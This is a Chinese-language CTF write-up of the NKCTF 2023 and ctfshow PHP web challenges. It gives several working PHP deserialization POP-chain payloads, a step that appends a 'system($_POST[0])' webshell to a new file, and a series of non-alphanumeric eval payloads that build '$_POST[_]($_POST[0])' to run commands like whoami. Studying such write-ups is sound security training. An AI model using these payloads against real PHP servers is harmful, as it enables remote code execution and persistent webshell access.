2023 NKCTF

发布时间 2023-03-30 23:56:41作者: kkklab

2023 NKCTF

打了一下 NKCTF 有几个不知道的点 把自己认为值得记录的题写一下

babyphp

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?>

这里过滤了 f l a g ? *

解法一

这几个字符 这里我们可以直接 把 $shell 赋值为 urldecode 然后 把 $cmd 赋值为 system($_POST[0]);

<?php
error_reporting(0);
class Welcome{
    public $name;
    public $arg = 'oww!man!!';
    public function __construct(){
        $this->name = 'ItS SO CREAZY';
    }
    public function __destruct(){
        if($this->name == 'welcome_to_NKCTF'){
            echo $this->arg;
        }
    }
}

function waf($string){
    if(preg_match('/f|l|a|g|\*|\?/i', $string)){
        die("you are bad");
    }
}
class Happy{
    public $shell;
    public $cmd;
    public function __invoke(){
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    }
}
class Hell0{
    public $func;
    public function __toString(){
//        phpinfo();
        $function = $this->func;
        $function();
    }
}

$Welcome=new Welcome();
$Welcome->name='welcome_to_NKCTF';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="urldecode";
$Happy->cmd="system(\$_POST[0]);";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize('O:7:"Welcome":2:{s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:{s:4:"func";N;}}');

解法二

还有一种方法是

$Happy->shell="system";
$Happy->cmd="cd /;`more dir`";

解法三

使用 sed 命令 sed 有个新增命令 sed -e 4a\xxxxxx xxxxx为要新增的内容 4a 是要在第四行 进行插入

但是 4a这里是由a的 所以不可以 但是可以用

sed -n '1,38p' index.php > 5.php 然后这里再用 追加写入 >> 来写 system($_POST[0]);

<?php
error_reporting(0);
class Welcome{
    public $name;
    public $arg = 'oww!man!!';
    public function __construct(){
        $this->name = 'ItS SO CREAZY';
    }
    public function __destruct(){
        if($this->name == 'welcome_to_NKCTF'){
            echo $this->arg;
        }
    }
}

function waf($string){
    if(preg_match('/f|l|a|g|\*|\?/i', $string)){
        die("you are bad");
    }
}
class Happy{
    public $shell;
    public $cmd;
    public function __invoke(){
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    }
}
class Hell0{
    public $func;
    public function __toString(){
//        phpinfo();
        $function = $this->func;
        $function();
    }
}

$Welcome=new Welcome();
$Welcome->name='welcome_to_NKCTF';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n '1,38p' index.php > 5.php";
$Happy->cmd="echo 'system(\$_POST[0]);' >> 5.php";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize('O:7:"Welcome":2:{s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:{s:4:"func";N;}}');

解法四

这种解法是在p牛的文章里面提到过

linux 中的 通配符不止只有 * 和 ?还有一种类似于正则的通配符 [!q] 这里代表匹配非q字符

<?php
error_reporting(0);
class Welcome{
    public $name;
    public $arg = 'oww!man!!';
    public function __construct(){
        $this->name = 'ItS SO CREAZY';
    }
    public function __destruct(){
        if($this->name == 'welcome_to_NKCTF'){
            echo $this->arg;
        }
    }
}

function waf($string){
    if(preg_match('/f|l|a|g|\*|\?/i', $string)){
        die("you are bad");
    }
}
class Happy{
    public $shell;
    public $cmd;
    public function __invoke(){
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    }
}
class Hell0{
    public $func;
    public function __toString(){
//        phpinfo();
        $function = $this->func;
        $function();
    }
}

$Welcome=new Welcome();
$Welcome->name='welcome_to_NKCTF';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n '1,38p' index.php > 5.php";
$Happy->cmd="more /[!q][!q][!q][!q]";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize('O:7:"Welcome":2:{s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:{s:4:"func";N;}}');

hardphp

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['NKCTF'])) {
    $NK = $_POST['NKCTF'];
    if (is_string($NK)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
            eval($NK);
        }else{
            echo("hacker!!!");
        }
    }else{
        phpinfo();
    }
}
?>

经典的 无数字字母 rce

通过 ctfshow 的rce大挑战来总结一下

rce1

<?php
 
error_reporting(0);
highlight_file(__FILE__);
 
$code = $_POST['code'];
 
$code = str_replace("(","括号",$code);
 
$code = str_replace(".","点",$code);
 
eval($code);
 
?>

这里把 ( . 过滤掉了 然后 可以用php中的反引号来执行系统命令

这里要先闭合 之前的php标签 在使用 php短标签 当然也可以使用echo dir;

image-20230330200648964

rce2

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

就跟我们平常使用的paylaod

<?php
$_=[].[];
$_=$_[''];
$_++;
$_++;
$_++;
$_++;
$__=$_;
$_++;
$_++;
$__=$_.$__;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$__=$__.$_;
${'_'.$__}[_](${'_'.$__}[__]);

构造出GET 然后拼接 $ 和 _ 得到 $GET(_)($GET[__]); 用到不同的是 它禁用了 {}

所有我们就不能通过这种 $ _ GET 拼接的方式了 这里不使用 {} 的话还用 另一种拼接方式

_GET 然后再前面直接加$ 就可以得到$GET 然后拼接[_]

然后用 () 包裹住 实例

($$___[_])($$___[__]);

完整的poc

<?php
$_=[].[];$__='';
$_=$_[''];
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$_=++$_;
$_=++$_;
$__=$_.$__;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$___='_';
$___.=$__;
($$___[_])($$___[__]);

总结一下 如果没有 {} 的话就可以 先 拼接出_GET 然后直接加$ 就可以了 要 url编码传过去

rce3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这次加了 长度限制 然后又 过滤了 更多的字符

$ ( ) + , . / 0 1 ; = [ ] _  

过滤了 引号 那如何 获取 A 字符呢 但是这里我们可以使用 01 了

这里可以使用 0 和1 先 看几个知识点

php在进行计算的时候 认为结果是无限大的时候他会返回结果是INF (infinite)

举例 echo (1/0) 就会输出INF

PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); 就会输出NAN

因为这里有允许我们使用01 所以我们可以使用 01 来取上面的东西

image-20230330213323972

这里直接取的话 会返回空 这里可以拼接一个 A就可以 取出来了

image-20230330213536599

取出N的话就可以直接用POST来执行了

<?php
$_=([].[])[0];
$_=($_/$_)[0];
$_=($_/$_.$_)[0];
$_++;
$__=$_.$_++;
$_++;
$_++;
$_++;
$_=_.$__.$_.++$_;
$$_[_]($$_[1]);
<?php
$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);

rce4

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

先看过滤

$ ( ) + , . / 0 ; = [ ] _

并且限制了 84个字符

<?php
$_=((0/0).[])[0];
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

rce5


 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>
   $ ( ) + , . / ; = [ ] _ 

限制 73位

这里就用了一些特殊字符了 因为用 __ 会 多几个字符 这里可以使用 不可见字符

$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=whoami
<?php
$_=(_/_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);
这个已经完全看不懂了
<?PHP
$_=_(%FA.%FA)[_];//N  //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb